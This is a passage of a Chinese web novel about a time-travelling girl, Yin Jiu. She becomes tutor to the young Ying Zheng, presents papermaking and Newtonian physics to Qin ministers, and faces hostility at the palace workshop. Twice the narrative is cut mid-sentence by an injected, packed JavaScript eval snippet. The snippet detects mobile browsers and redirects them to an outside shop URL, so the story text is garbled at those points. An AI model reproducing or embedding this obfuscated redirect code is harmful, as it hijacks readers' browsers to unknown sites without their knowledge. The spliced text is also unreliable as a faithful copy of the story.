嬴政知道她说的应该是负责自己起居的喜。他确实觉得有些冷,便将外袍披上了,然后问:“何事?”他早有命令,自己独行时不许人打扰,若非事关紧要,喜不会告诉她自己的行踪。 “喏,这是造纸术,可以做出延展性好又轻便的纸张,你可以赶紧让人着手研发了。” “……”这种命令式的建议他还只听先王和相邦说过。 而眼前这人,头发大概睡醒后就没好好梳理,被兰池的风吹得稀乱,衣服领子也是歪的,脸倒是又白又亮,一双眼睛虽然疲惫地半合着,但依稀可见白日里的水润灵动。完全不像细作,也不像出身高贵的公主和宗亲,却又莫名透出一股温润贵气。 他知道,今日仲父很喜欢她。但也因此可以肯定,这两个人今天是第一次见面。 排除了吕不韦势力的可能,就只剩下芈系势力那边了。 诸多想法一闪而过,嬴政故作轻松笑道:“如果寡人否决了你的提案呢?又要和昨天晚上那样走到寡人脸前说一通吗?” 印玖:“。”怎么没看出来他是个毒舌的? “我那是情急之下做出的举动。”印玖心虚道。 “寡人的举动有哪里不符合印女官的认知吗?”嬴政看似随意一说,却正中印玖眉心。 一时间印玖脑子里闪过千百种说辞,但没有一种能够应对眼前情况。 因为他完全说中了,印玖还不擅长说谎。 好在嬴政一笑而过,转身借着兰池灯火仔细看了一遍印玖递给他的造纸帛锦。帛锦上不仅清楚地写着制作流程、注意事项和材料,还附注了自己的思考和可替换的材料,甚至解释了替换原理及材料性质,堪称完美。 华阳太后手底下不可能有这样的能人义士。先不管印玖来自何处,嬴政清晰地意识到,如果印玖给出的东西真的能投入实践,那么会影响很多人、很多事。 此事关系重大,需要花费大量时间谨慎商讨。他转头看向印玖,对方脸上依旧是那副淡漠的神情,或许是感受到了他的视线,转头疑惑般与他对视。 看似坦然,实则紧张。印玖不知道眼前人已经猜到多少,只知道从上一世副本经历和自己在现代对他的一些了解来看,他是个极其聪明、擅长用直觉思考的人。这样的人学习物理,应该也是很有天赋的吧? 印玖忍不住想。 跑偏了跑偏了,打住打住! 造纸术的事情说完了,印玖将话题整个拉回来:“你为什么大半夜不睡觉?” “不困。”嬴政答得飞快,他现在心情不错,有些兴致和印玖说说废话。 “可是我困。你的情绪吵到我了。” “……”说起来,自己的情绪反倒是被印玖的情绪中和,因而稳定了许多。 “你赶紧想办法找人来哄你睡觉吧。”逻辑鬼才印玖来的时候想明白了,正是因为嬴政大半夜不睡觉一个人emo,她才会感受到他难受的情绪。既然如此,他早点睡着不就好了吗? “我的情绪影响到你了吗?”嬴政问。他刚刚确实感受到那片海翻了一个极高极大的浪。 “你的情绪直接导致我做噩梦了。现在我失去了睡意。可是我明天还要写物理讲义,那东西精力消耗量可太大了。”印玖说得理直气壮。 难怪对方来时一脸怨气。 这确实是一个很重要的问题。 嬴政难得通情达理,皆因深知物理的重要性:“既然如此,你应该努力帮助我摆脱失眠。” 二人感受绑定,他的问题也是印玖的问题,嬴政利用起来毫不手软。 “我要是会的话我就做了。”印玖仰天长叹。 嬴政睡不着是由情绪引起的,而她最不擅长处理的就是情绪。可问题在于,从解决事情的方式入手去解决嬴政情绪的根源,当下根本不可能办到。 她可没办法凭一己之力抗衡吕不韦和华阳太后。 “我的情绪都是我自己消化。”印玖嘟囔着,“不如你化悲愤为动力去看点奏章转移注意力吧。” “今日的奏章已经看完了,仲父替寡人分担了大部分。” 印玖敏锐地看向嬴政。 他在对自己说朝局? 她将视线收回。 嬴政当然可以对她说朝局,但自己却不能接着话往下说。 “那我默写一点文章给你读吧,比你在这里又难过又吹风强。” 嬴政:“……” 他一瞬觉得印玖聪慧至极,一瞬觉得印玖如朽木不可雕。 印玖思量片刻,将苏轼的《定风波·莫听穿林打叶声》默写出来给嬴政。写完后满意地吹了吹未干墨迹,献宝般递给嬴政。 嬴政看罢惊叹不已:“此乃又一天才也!” 印玖满意地笑开。 她就知道没有人可以拒绝苏轼!她要带着苏轼的文章传遍大江南北! 哦不对,不只是大江南北!还有中原! 嬴政转头看向印玖,内心萌生出另外一个想法。 他拿着帛锦道:“你所写的物理学讲义很好,寡人认为它未来必有大用。但在推广之前,寡人自己应当对其有所了解。因此想让你做寡人的先生。你意下如何。” “嗯?”无事献殷勤,非奸即盗。 如果只是想学物理,没必要非得给自己弄上老师这个头衔。老师在大众眼里是负有孩子责任人的角色,这简直太适合当挡箭牌和替罪羊了。 然而—— “好。”印玖欣然接受对方的提议。 这很明显是共赢的局面。她想获得更多信息就要拥有足够多的高质量信息来源渠道。嬴政老师这个身份简直是太棒了! 至于潜在的一些风险,比如说被嬴政出卖什么的。印玖认为,只要有共感这一层关系在,嬴政就不会让自己便宜死去。除非他能找到解除共感的方法。 连系统都找不到,更别说这个副本里面的人了。 峰回路转印玖将话题绕了回来:“既然我已经是陛下的老师了,就有义务督促陛下早睡早起。还请陛下不要熬夜了。科学证明,子时前入睡能够有效减少抑郁,对陛下身心健康都有帮助。” 嬴政半信半疑,但认为这确实是一个契机。印玖酷爱甜食,严令禁止被她视若无睹,只能通过交易令她让步:“那好,我早睡早起,你禁甜食。” “呃,好。” 对方好像发现自己饭后偷偷问厨房要糕点吃了。 二人商量完事情分别回了自己房间。 喜从殿外进来,拿着那日她交到印玖手上的那件披风。 “帝师那日拿的时候实在是不小心,上面的宝石都碰掉好几块。” “扔掉便可。”嬴政并未将注意力放在一件披风上。 “是。”喜见他神色正常,试探着问,“封一个女子做帝师,不知相邦可会同意?” “此女有大秦所需的真才实学,相邦若有异议,也恐怕找不出更好的安置之法。” 喜不再多语:“热水已经备下,大王可要沐浴?” 嬴政没回答。 喜似乎是习惯了,安静地等到嬴政停下手中的笔起身,安静地跟在他身后。 就像过去五年一样。 不,有一点不同。今天她决定自作主张一次,快步上前替嬴政打开浴室的门,颇有有伺候他沐浴的意思。 “大王,今日我——” “出去吧。”语气依旧不紧不慢,平静无起伏。不给人一丝期待的探究,也不直言拒绝。 “是。”她道。 她知道,嬴政开口便已做出决定,没有商量的余地。 嬴政沐浴完,照例在睡前复盘了一遍今日的事务,很快进入了梦乡。 窗外夜色还未散去,日头的仪仗队还未走到正面来,嬴政听到第一声钟声时丝毫不恋床,起身洗漱,开始一天的安排。 他照例锻炼一个时辰,然后一边吃早饭一边听人汇报昨天晚上发生的事情。接着他洗了个澡,乘坐着四驹马车前往咸阳宫的朝会。 朝会过半,印玖才悠悠转醒。 她觉得自己睡得特别累,就好像五六点种就起来锻炼了两个小时的身体那么累,接下来她也没闲着,好像一直在干活,过程中一会儿深睡一会儿浅睡,十分折磨人。 睡不好就容易心情暴躁,印玖扯了扯眼皮对上旁边侍人的满脸微笑,沉默了一瞬。 她毕竟是个女官,怎么能底下人精气神饱满,起得比她早、干的活比她多,她还一脸肾虚的。 于是立刻换了状态,利索地穿衣洗漱吃饭,虽然难掩疲惫,但看整体精气神好多了。 印玖自知耽误了时间,胡乱吃了几口就冲出门,留下呆若木鸡的姝。 嬴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17151483|196457||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 政的上课时间是朝会后,方便起见,他上完朝一般会一起和吕不韦去专门的授课室。 印玖一路狂奔,路上不断有宫人齐齐回头看着自己,新奇又觉得有趣。 嬴政感受到内心突然多了点慌乱便猜到是印玖起了床,都不用见到人就能想象到对方有多手忙脚乱。 真是让人哭笑不得。 姝半晌才反应过来,跟在印玖身后也是一路狂奔,但她深知在宫中这样的行为是十分不合礼数的。她看着太阳估计了一下时间,对着印玖喊:“大人大人,你停一停,慢点儿,不会迟到的!” 印玖闻言停下脚步改为快走,一边走一边转头对侍人说:“真的?你怎么知道?” 侍人指着太阳对印玖说:“大人请看,日头如今还未过那边屋檐,说明大王还未下朝。” 印玖左看右看看不出区别:“太阳的位置不也和我们自己的位置有关吗?你能肯定?” 侍人一愣,笑道:“自然。奴婢每日都看着太阳判别时间,是断断不会看错的。” 印玖点点头,正色看向她:“你叫什么名字?” “奴婢姝。” 印玖点点头:“我姓印名玖,无字。” 郑重介绍自己是一个尊重人的举动,身为奴隶的姝有些受宠若惊,眼神亮了起来。 果然如姝所言,印玖拿着嬴政赐下的令牌从章台宫横穿甬道,到达咸阳宫的授课室时,他还没有下朝。 有外人在场,她不好一屁股坐在室内,只能坐在外面栏杆上看着远处拐弯处,等着二人过来。 嬴政下朝后与吕不韦同行向固定的授课室走去。吕不韦照例询问了嬴政的课业情况。 嬴政对答如流。 言毕,嬴政提起了自己想拜印玖为师的事情。 “政儿听其传授知识,便是向师求学。有实无名,既显得王室小气,又苛待了对方。” 吕不韦点点头,认为有几分道理。 想要秦国富强到能够轻松击溃六国,就需要大量的人才。善待人才,才会人才辈出。 “昨日我回去后,将她所述的内容默写下来,交由府中门客们商讨。他们争吵了一天一夜,今早告诉我,此人需得奉为国士认真对待。倘若她不是女子,理应有此待遇。虽然祖制未曾有过先例,但为了历代秦王宏图霸业,这个先例可以有。只是,你可曾与她有过肌肤之亲?”吕不韦思量许久说出这一番话。 “并无。” 吕不韦点点头。人伦是大忌。但这丫头突然冒出来也不过两三天,若此前与嬴政毫无关系,便不得不查了。 但眼下,他想先看看嬴政的态度。 “不过话又说回来,这丫头出现得奇怪,你可有头绪?” “寡人一早便命人去查。宫内经历都很正常,宫人说,曾看见她有时会独自一人蹲在地上喃喃自语,手中比划着什么。她母亲是士族,自幼教她读书写字,父亲则做生意。” 嬴政所说与吕不韦所调查到的分毫不差,他故作感兴趣地问道:“哦?她父亲做的什么生意?” “布匹生意。后来卷入一场官司,父母皆斩首,她被变卖为奴入宫。” 嬴政说这些话时语调平稳,谁都不知道他第一次得知这些信息时有多震惊。 他与印玖相处时间比吕不韦久,他知道这一套经历过于巧合,巧合到和那共感一样古怪。 这让他感到无端害怕。 是以他必须获取一个与印玖更加亲近的身份,以获得更多信息。 二人穿过回廊拐角,看见远处头发凌乱、衣衫不整的印玖,脚步都顿了一顿。 “……” “……” 只见她旁边的侍人都因她的外形感到尴尬与不适,而她怡然自得,面带笑容站起来行礼,浑然不觉自己失仪。 幸好礼仪还算标准,吕不韦才没有觉得自己刚才的决策有那么大的失误。 授完课,吕不韦主动提起了嬴政的打算,并表示自己许可。他看着印玖的模样,略有些尴尬,提醒道:“今后你就是帝师了,要有帝师的样子,仪态上不能让人笑话了去。” 印玖虽然言行外表放荡不羁,但却生了一副乖巧懂事的样子,任谁来看了都会相信这是个老实的好孩子。再加上对方上课听讲极其认真,是以吕不韦对她的保证持相信态度。 而当印玖在章台宫横冲直撞的行为被沿路宫人当作闲谈传回他耳朵里时,帝师的召令早已经颁下。 吕不韦:突然有点后悔是怎么回事? 与此同时在宫外疯传的,还有那一首帝师写就的《定风波》。 这首诗一天之内传遍咸阳城,半月内传遍整个七国。 稷下学堂那边尤为轰动,听说有人甚至准备休学来咸阳求见这位女帝师。 而有关印玖的事情,也是在第一时间就登上了咸阳城热度榜第一。 不知所云亲手提笔批注:此乃前所未有之奇事也! “这下,我们的少年陛下可是狠狠在六国间刷了一波存在感!” “何止!我看他们这群蛮夷还敢称呼我们野蛮之邦不!我‘梆梆梆’敲死他们!” “哈哈哈哈哈!” “不过,这个女帝师是什么意思啊!” 此言一出,刚才觉得无比光荣的人瞬间沉默了。 “有辱斯文!有辱斯文啊!” “我国还未有过女子成为王上的老师吧。” “其他国家难道就有吗?” “真是活久了什么都能见着了啊!” “这算什么事啊!” 5. 建造院 印玖成为帝师之后有点不太习惯。 之前和自己亲切攀谈打招呼的宫人现在已经不敢靠近,印玖主动交流对方也只是浅聊几句,借故匆匆离开。 印玖来不及失落,没走多远就被一个太监拦住。 这太监就是刚开场时指挥自己不停干活的太监。 此刻他早已换上另一幅面孔勤快地偶遇自己! 章台宫大花园道路千万条,不管那一条路上都有他!来的频率简直比花园里开的花还多! 印玖内心吐槽道。 对方腆着一张老脸如此锲而不舍,说来说去还是怕自己报复他之前苛待自己的事情。 啊不对,是自己的所代表的这个宫女角色。 “哎呦,帝师大人、帝师大人,我过去真是有眼不识泰山!今日在此偶遇姑娘,也没来得及准备什么礼品,一点小小心意,还请帝师笑纳。” “不必。”印玖想给他一个教训,淡淡抬手一拒,快步走开。硬说起来,她只在这个太监手底下做了一天事而已。至于之前的原主,系统说没有原主,只有粗糙建模的npc。 这个世界就是一个巨大的主角与npc世界! 再说回来,宫里的人向来势力,风吹哪边人就往哪边倒。原来聚在那太监周围的人群现在不约而同地聚在印玖周围,其间不乏对那太监落井下石的言辞,隐隐试探印玖的态度。 老实说印玖觉得这事和自己没什么关系但轻轻放过在外人面前就显得自己像个软柿子一样好拿捏。 于是她淡淡吹了吹滚烫的水,告诉来探望自己的原先与自己属于同一个片区的宫人:“有因必有果,自己种出的因,自己也当承担结果。” 叽叽嘎嘎的人群瞬间噤声,庭院恢复寂静。众人你看看我我看看你,都只觉得这话文绉绉的听不懂。集体传递出一种茫然,又涉及心目中的因果大事,人人怕得慌又敬得很。 印玖见状淡淡解释道:“他做错了事,自然要承担后果。大家今后可莫要学他才好。” 未等众人上前讨个确定的回答,印玖已经挥手送客。天上云彩轻淡,透出阳光镶嵌上的金粉边框与色彩,随着众人远去飘散。 印玖心道:这一挥手,便彻底和她宫女的身份告别了。 . 第二日午时未到,被邀请的上卿已齐聚在咸阳宫正殿。众人面面相觑,都在内心等待着这位未曾谋面的女帝师。不知她有什么能力,能让大王请到几位丞相和自己。 印玖是和嬴政一起出现的。她发现在座的诸位除了吕不韦之外,表情都不可控地僵了一僵。 印玖对此表现出最大善意的理解,毕竟她从宫女到帝师一步登天,别人奋斗三辈子都赶不上她一根指头。讨厌她简直太应该了,喜欢她才不正常。 而她今日就是要让在座的诸位都心服口服的! “这造纸术是帝师所想,寡人已命王室工匠按照上面流程制作出来,诸位请过目。”嬴政手拿着印玖写就的造纸术展示,将制作出来的成品分发给诸位大臣点评。 咦,不是物理吗? 副相昌平君一脸平静,拿起纸张仔细测试了柔韧性以及书写顺滑度和墨水的吸附力,连连点头:“不错。若是将其推广开来,可以省去不少功夫。不知造价如何?”竹简厚重且难以更改,若是用此物代替,确实更加方便。倘若将其推广运用,恐怕会潜移默化地改变很多事情。 “昌平君不必担心,此纸造价成本不高、材料也常见。”吕不韦道。他事先便与嬴政简单商量过,今天召集众人,是为集思广益。 昌平君点点头,既然造价成本不高,那就是很方便推广。问题便落在了控制推广范围上。百年来,巫蛊之术禁而不绝,倘若有了纸张这一方便的载体传播,那么打击和控制的难度就更大了。 “此物应该在士族间推广,只是不应于民间普及。” 众人逐渐反应过来,今日讨论的不是物理,是这事关国学传播的纸张。他们抚摸着柔软纸张,内心服气地对这位女帝师高看一分,认真地参与起这桩国事讨论。 “可是地方士族中,迷信巫蛊之术不在少数。” 不仅如此—— “读书写字向来是士族的权力,若是此物普及,是否会引发动乱。” “应该不会。”印玖首次发言道,“民众为生计劳碌,更讲求实用性。相比起读书写字,上战场杀敌立功对他们而言好处更大些。” 众人借机仔细打量印玖,看出她的一丝善意。 印玖泰然自若,接着道:“若是真有人热爱读书,也不应该予以禁止。毕竟自发产生的兴趣比旁人督促来得更加有效。” “普通人当中亦有天赋异禀者,若能为朝廷所用,也是一桩好事。”有人赞同。 有人不语。 印玖还以为自己的言论会引发轩然大波,毕竟等级观念在封建社会可是根深蒂固,没想到开明的人也有。 “帝师所言,可是赞成全面放开此物的推广?”昌平君试探问。 “此物确实会导致民间巫蛊之术风气加剧,解决办法却不在控制此物的流通上。”印玖听他们一番讨论下来,认为这些人还算是开明的,于是道:“解决巫蛊之术的关键在于让民众相信另外一套科学的体系,我将其称之为物理。” 嬴政意外看向印玖,以为她会多藏着点。 吕不韦露出赞赏之色。 “物理是什么?”昌平君替众人说出疑惑。 这几天他们或多或少,经由各路消息途径,对物理有了些简单的了解。但从小学习人文社科内容的他们,对物理相关的内容很是陌生,看到内容时如看天书一般。 “物理,顾名思义,解释事物本质和世界运行规律的学科。当然,解释世界运行规律的体系有很多,我之所以强调物理,是因为它能有效应用于实践。” 印玖简单向众人介绍了物理学的研究范围、精神素养与应用,并随机拿起案几上摆放的水果进行举例。 “这个橘子能够从案几这一端滚到另外一端,是因为我用手推了一把,如果我的力道大些,它就会继续往前滚——当然,结果是掉到案几下。为了准确衡量力度对物体的影响,我们需要用数字量化它。我们规定力的单位为牛,1牛表示…… “诸位有什么不明白的地方吗?” “为什么不规定力的单位为猪呢?”有人忍不住发问讽刺道。 闻言,在座诸位都笑了。实在怪不得治粟内史会问出这话,印玖说话风格实在是太过直白简约,虽然听起来亲切平和,通俗易懂,但着实失了文人气度。就像那首诗一样,立意虽然很高,但偏口语化了。 印玖也笑着看向他:“因为牛是耕犁卖力气的。生产力水平的提高,全赖与耕种工具的进步,而牛在其中起到了重要作用。” 众人听罢方知原委,想这小姑娘不过十四岁不到,对于历史发展已有一番自己的看法,且能运用于其他领域,下意识脸上严肃取代了笑意,又高看印玖几分。 印玖内心没这么多戏,她总不能说因为建立这一套体系的人叫牛顿。 因为这样的话一定会有人问,你是怎么认识的这个叫牛顿的人?他家住哪里?祖籍哪里?你什么时候与他有的交际? 这会引来无穷无尽的麻烦。 所以印玖选择了一个众人能够理解和接受的说法。 唉,对不起了牛爵爷。 幸好你也没有办法因此否定我的物理学术成果。 等到印玖介绍完准备好的物理内容,众人陷入了漫长的思考。在场所有人脑子里都在思考着橘子与力与运动的关系,不时拿起糕点往嘴里、端起茶喝上几口以补充脑力。 嬴政及时叫停了这场沉思:“诸卿,我们今日主要探讨的是纸张的推广。” 听到嬴政提醒,有些人从思考中抽身,有些人还恋恋不舍。 但所有人都默契地认可了印玖的帝师身份。 “老师的意思是,向民众普及物理知识,便能自动抵消巫蛊之术对人心的侵蚀?” 印玖点头:“尤其是,民众看到物理知识能够帮助他们造出更先进的舂米工具和浇灌工具。” 印玖第一次进这个副本的时候常年在王室建造院待着,那里的人除了为王室建造器物外,还会涉及一些民用工具的改进与审核。她觉得这是一个大的潜力点可供自己突破,是以在副本结束后,她一刻也没有难过,而是抓紧时间重点了解学习了战国末期秦国的生产力水平并针对性地学习了更先进工具的制造。造纸术一个、舂米工具还有浇灌工具的改进是重中之重。 …… 这场会议从午时开到未时,众人总算是充分领略了这位帝师的能力,对于她一出现就是金印紫穗的官衔虽然心存芥蒂,但也无话可说。 印玖也充分认识到了秦国对于人才的优待可见一斑。 果然国家有竞争才有动力啊!人才才有出头之日啊! 印玖这些日子已经把牛顿第一定律的内容写完了,甚至怕别人理解不了,还写了一些经典例题放在旁边,供人解答。 嬴政很快下令,命建造院全体人员组织学习,并从中挑选出有潜力的人,设立物理司,由印玖担任司长,尽快将物理知识应用于实践。 印玖摩拳擦掌,准备大干特干! 她已安排妥当:晚上她要继续写物理学的内容,白天她要负责挑人选人,给物理司的人讲解知识。 第一天上班,她破天荒起了个大早,按照熟悉到不能再熟悉的路线来到建造院,有人满脸笑容在门口躬身候她已久。是印玖上辈子梦都梦不到的殊荣。 印玖定睛一看,双眼发光。哟,这不是前世最喜欢嘲讽她的崔掌事吗? “劳崔掌事亲自迎接,真是受宠若惊啊!”印玖立刻换上热情的笑容大步上前,手伸出去还没握上对方的,就收回来。 崔掌事伸出去的手就有些尴尬了,于是笑得更灿烂:“帝师大人!陈院长听闻帝师大人要来建造院教书,一早命人将西边院子整理出来打扫干净,又精 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17151484|196457||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心挑选了若干潜力人选,供大人授课。” “人选都是按照陛下制定的标准挑选的?”印玖挑重点问。 “自然。” “那就带路吧。” 西边院子,位置偏僻不说,采光也不好。不过印玖上一世在此地待了多年,知道这里除了西边的院子也没别的空地方了。 只是印玖无端觉得,对方来者不善。 . 崔掌事一路上简单和印玖介绍了建造院,发现对方只是点头不提问,心下生疑,试探道:“帝师大人常在宫中,想来也听大王提起过这里。” “实不相瞒,我本人还比较喜欢研究制造的,确实对这里有一些了解。” 崔掌事点点头,从印玖对自己介绍建造院的反应便能看出,她对建造院早有了解,而她一路上被各色事物吸引,左看右看的样子说明,她对建造院的了解只来自于别人的介绍与言论,并非此刻眼下实景。 印玖在来的路上就在心里告诉自己,要装出一副生人的样子,不要看起来跟在这里待了好几年一样,是以左看右看,装出一副第一次见这些景观的样子,奈何还是不能完全瞒过这位专门接待人的掌事。 不过料他想破脑袋也想不到,自己还能有上一世! 进了院内,崔掌事没有领着印玖去由西院改造成的物理司,而是进了院子待客的一间雅室。 印玖记得自己第一次来这建造院也是进了这间房间,那时蒙毅亲自带她来的。蒙毅对嬴政的一切总是很上心。 “帝师大人,陈院长在里面等着您呢,在下就不进去了。” “一路有劳。”印玖低头致谢。 崔掌事点头接受,缓缓退下。 印玖看着前面雕刻精美兰草图案的门扉,伸手敲了敲,很快里面传出“进”的一声,印玖推门而入。 入眼还是一样的陈设,桌上焚着的檀香引出灰白色长烟一缕,袅袅飘散在空中。 姓陈的这位院长脸上笑容和前世印玖两次在这里见过的重合,看似明朗却无温度,依旧让人不喜,眼底透出的精明比吕不韦只多不少,却无甚作用。 印玖一瞬间有不好的预感。 “帝师大人。”对方恭恭敬敬站起来给她行了礼,是上一世前两次都没有过的殊荣。 “陈院长。”印玖拱手回礼。 随着陈院长发出请的动作,印玖在其席位对面坐下。 陈院长熟练地给印玖斟水,一套动作行云流水。印玖只看了一眼他的动作,将注意力分散给他的神态。 看起来,他也对自己斟水的动作很满意,全程一丝不苟,不像是为了对面客人斟水,更像是在做这件事情本身。 “请。”陈院长斟完水,正色对上印玖探究的眼神,有力地说道。 “多谢。”印玖自然地端起茶杯品尝。 他酷爱喝茶,在这间房里拿出来招待人的茶只好不坏,印玖上一世有幸在第二次见他时喝上了一杯。 印玖边品边想。 “好茶。清香怡然,沁人心脾。”印玖笑道,声音是一贯的清冷。 对面也满意地笑了。 “陛下与相邦安排帝师在鄙院,实乃令寒舍蓬荜生辉啊。” 吕不韦也关照过? 印玖疑惑间带着几分期待落空的疑虑——既然这两位都支持我,那你,应该不会是芈氏派系吧? 不要哇!我不喜欢麻烦! “陈院长过奖。建造院是大秦军队的后方储备要地,陈院长在位5年间,为我大秦军队改进了弓弩发射装置和长矛利刃,功绩卓著,怎可自谦为‘寒舍’。” 这些事若想知道,信息触手可得。陈院长只是笑了笑,不痒不疼地夸了回去。 印玖走了一个回合场面话已是极限,知道对方仍看不起自己,直击重点道:“院长改进过的弓弩弹性比原来增加了一指的射程,长矛上组装的枪头用上了卯榫结构,结实耐用,不易丢枪。其巧思令人耳目一新。” 陈院长端起茶杯欲喝茶的手一顿,眼睛偏过面前举着的茶杯直看向面前这个只有14岁的小姑娘。 对方双眸神莹内敛,气有些散,散于周围,似与天地共振。 难怪昌平君对她评价如此之高,说大王找了个好老师。 他放下茶杯道:“看不出来,帝师对这些兵器也有了解。” “自然。我来建造院,便是为了革新技术。此间困难重重,少不得要仰仗陈院长之才。” “听说帝师自创了一套物理的理论,广受赞誉?” 话题九拐八绕终于进入主题。 陈院长发现印玖眼睛亮了起来,气也凝聚了,他耐心地听印玖一个人讲述了四十分钟的物理及未来在建造院的规划,表情恰到好处地带着一抹笑容,时不时往印玖杯中添水。 只是印玖几次看到他嘴角的笑,怎么看怎么觉得是“你不会成功”的嘲讽。 不会吧,真是芈氏派系? 嬴政啊嬴政,你这是给我干哪儿来了! 6. 整顿课堂 嬴政照例在咸阳宫上课。 课后,吕不韦似是随意地问了一句:“小姑娘已经去建造院了?” “是。今天刚过去。” “政儿对她信心很足啊。”吕不韦意有所指。 “老师她只是看起来迷糊了点,实际上内有乾坤。” 吕不韦听着嬴政这话的风格像是和印玖学的,笑道:“那就祝她好运吧。” 课后,嬴政照例回章台宫办公,路上捧着竹简坐在轿撵上看时,感受到了印玖的恼怒,不由得笑了。 章台宫内,喜将嬴政上午要处理的奏章与笔墨一一摆放好。做完这一切,她不由得想到孤身前往建造院的印玖。 她虽敏锐地察觉到这位和大王年龄相仿的小姑娘在这短短几天内,与大王发生了一些她不得而知的事情,但她还是看不明白。若她真与大王有私情,为何大王又要把她派去那样的地方?若无私情,在大王心里,她又怎能担起帝师一名? 喜总是看不明白大王,却想可怜可怜那位小姑娘,于是问了出来:“大王为何要把帝师安排到那样的地方去?” 嬴政正伏案批阅奏章,闻言奇怪地看了她一眼:“平素也不见你这么多善心。” “或许是她有些合我眼缘。” 嬴政淡淡收回视线,似是想到了什么,精致的眉眼不见一丝情绪上脸:“她这样擅于藏拙的人,不把她放到一个棘手的地方,如何试探出她真正的能力?”况且,她来路不明,多暴露在别人的视线下,是好事。 意料之内,情理之中。 喜默默为印玖点蜡。 在大王眼里,荣誉、财富、地位这样的勋章都是诱饵,吸引着人们为他出生入死。帝师不帝师的,也没差。 这边见印玖说了一大堆,陈院长也象征性地回答了一段话。 话里话外都没谈具体怎么做,印玖仔细听完,暗自叹了口气。 果然没这么容易,嬴政就会给人出难题。 但同时她也知道,做成了,就代表被认可了,做不成,就是弃子一枚。 真tm的操.蛋呀! 时值正午,陈院长邀请印玖吃饭。 虽然印玖一向和嬴政同食,但她也不好特意回宫和嬴政吃顿饭再过来。 这个找他算账的时间安排还是留到今天晚上吧。 食堂内人潮汹涌,印玖看见远方的喧嚣就想到各种汗臭、食物的混合味道,又闭塞又难闻。 好在院长自有特殊通道。他带着印玖走小门,进了单独的一个小间。 后厨的厨师长不时探头朝这边张望,实时盯着动静。他早打听到院长今日有客,见到他带人过来后,惊讶了一下:咦?怎么是个小姑娘?难不成是远房亲戚?不曾听闻院长有什么咸阳外的远房亲戚呀。难不成是给小陈院长安排婚事?思及此,厨师长火速又炒了两个蛋添在本就比寻常更丰盛的菜里面,迅速安排人盛好送进去。 陈院长看到菜色时微愣了一下,怎么这么丰盛? 印玖见状定睛看了一眼菜品,却没看出有什么不一样的,内心直打鼓:不会下了毒吧? 陈院长于是一抬眼就看见印玖握着筷子盯着他看,无论如何不肯动筷子。 “……” “……” 虽然自己也不知道为什么,但还是要圆过去的陈院长笑了两声道:“今日兴许是厨师长高兴帝师要来,给帝师多加了两个蛋,连带着我也跟着沾上光了。”说着夹起一块炒蛋嚼起来。 印玖见他解释一番才肯下筷,慢慢吃起来。 饭后,陈院长和印玖介绍了一些建造院的历史和内部情况,印玖吸取与崔掌事交流时的经验教训,适当问了些问题,没让对方起疑。接着他又起身带着印玖出了食堂,此刻食堂内人已经少了很多四处逛了逛,介绍了一番便将印玖交给跟在身后的崔掌事。 崔掌事闻弦歌而知其意,带着印玖饭后消了食就将人送往西院那边。印玖也乐意早点搞清楚状况,一路顺着他们的安排走,无不说好。 一路上崔掌事带她逛了两个院子,也不说是哪个院,只简单介绍一番。眼看行至西院门口,崔掌事突然夸起印玖,说她年轻能干、说她貌美如花。 印玖心里直嘀咕:此人在发什么神经?自己才崭露头角多久,就能干上了?十四岁的脸都没长开,就如花上了?表面还是装出一副受用的样子,肉眼可见地高兴起来。 崔院长内心敲着算盘算着时机,将要跨入院门时,看着印玖飘飘然时将“挑选给西院的个个都是建造院的骨干级成员,前面就是西院,再下先不奉陪”这句话如鱼游水般丝滑地说出来,转身就要走。 谁料印玖早有准备,一把抓住他的衣袖把他往里拽:“我一介外人,初来乍到的,还是要请崔掌事帮忙介绍一番才好。” 说着不由分说拽着人往前走。 崔掌事疑惑印玖的反应之余,还是不好互相撕破文人的脸,只能带着印玖来到教室里面,想着赶紧将人介绍一遍然后就溜走。 教室里热闹哄哄。 印玖一眼看过去,都不像是能沉下心学习的样子。 于是转头问崔掌事,眼神透着冷:“这是按照大王的要求选出来的人?” “这就是啊!”崔掌事一脸正义凛然,完全不像是在说假话。 “哼!”印玖冷哼一声。 若不是上一世和他们做同事,印玖还正无法如此笃定,他们选出来的人就是整个建造院里面能力最好、潜力最大的人。 他们现在居然做出这副老油条的样子! 只见崔掌事又讪讪笑道:“现在还不是上课时间,还不是上课时间。” “既然如此,那便由崔掌事作上课的开场白演讲吧。” 崔掌事看看外头太阳的位置——其实不用看他也知道,他算着时间把印玖领到西院来的,此刻差不多是上课的时候了。他骑虎难下,面对着台下散乱的二十个人,内心也犯嘀咕。 毕竟事前安排没有这一环。 他又转头看了看印玖,印玖站在一旁嘴角衔着一丝笑容,腰边挂着金印带紫穗,金光闪得比院子的那个还好看。 一路交涉下来也知道是个不好惹的。 他心中一声叹息。 开场白的效果出乎意料地差,印玖没想到这帮人不给自己面子,也没给崔掌事面子。 看来事后谋划的另有其人呐。 崔掌事与印玖面面相对。崔掌事一脸尴尬,巴不得找条地缝钻进去。印玖一副事不关己的样子,毕竟眼前这位的流程还没走完,轮不到自己上台丢脸。 崔掌事一边在脑子里拼命想话来说,一边拼命使眼色给台下的人。印玖脸盲,找了一会儿没找出主要内应是谁。但她也不着急,就静静地看着崔掌事表演。 